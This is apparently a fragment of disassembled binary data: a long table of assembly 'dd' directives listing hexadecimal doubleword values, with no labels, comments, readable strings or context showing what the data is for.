dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h
dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh
dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh
dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h
dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh
dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h
dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h
dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh
dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h
dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h
dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh
dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
dd 5D719052h, 85AC8000h
dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh
dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh
dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h
dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h
dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h
dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h
dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h
dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
dd 2660660Bh, 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh
dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h
dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h
dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h
dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh
dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh
dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h
dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h
dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h
dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh
dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch
dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h
dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h
dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh
dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h
dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h
dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h
dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh
dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h
dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h
dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh
dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch
dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh
dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h
dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h
dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh
dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h
dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h
dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h
dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h
dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh
dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h
dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h
dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h
dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h
dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h
dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h
dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h
dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h
dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh
dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh
dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h
dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh
dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
dd 0D444C960h
dd 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h
dd 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah
dd 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h
dd 84233200h, 31D016A9h, 96544C9Eh, 4A210075h, 20622464h
dd 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h
dd 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h
dd 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h
dd 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h
dd 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah
dd 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h
dd 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch
dd 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h
dd 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h
dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
dd 768F303h, 5615FC99h, 8108A023h, 4500503Eh, 27414C6h
dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh
dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh
dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h
dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h
dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h
dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h
dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh
dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h
dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h
dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h
dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h
dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh
dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h
dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh
dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh
dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h
dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h
dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh
dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h
dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh
dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h
dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh
dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h
dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h
dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h
dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh
dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h
dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh
dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh
dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h
dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h
dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h
dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
dd 0AD8D79h
dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h
dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h
dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah
dd 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h
dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh
dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h
dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h
dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h
dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h
dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h
dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh
dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h
dd 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h
dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h
dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h
dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah
dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh
dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh
dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh
dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh
dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h
dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h
dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h
dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh
dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch
dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h
dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h
dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h
dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h
dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h
dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h
dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h
dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h
dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h
dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h
dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h
dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h
dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h
dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h
dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h
dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h
dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h
dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
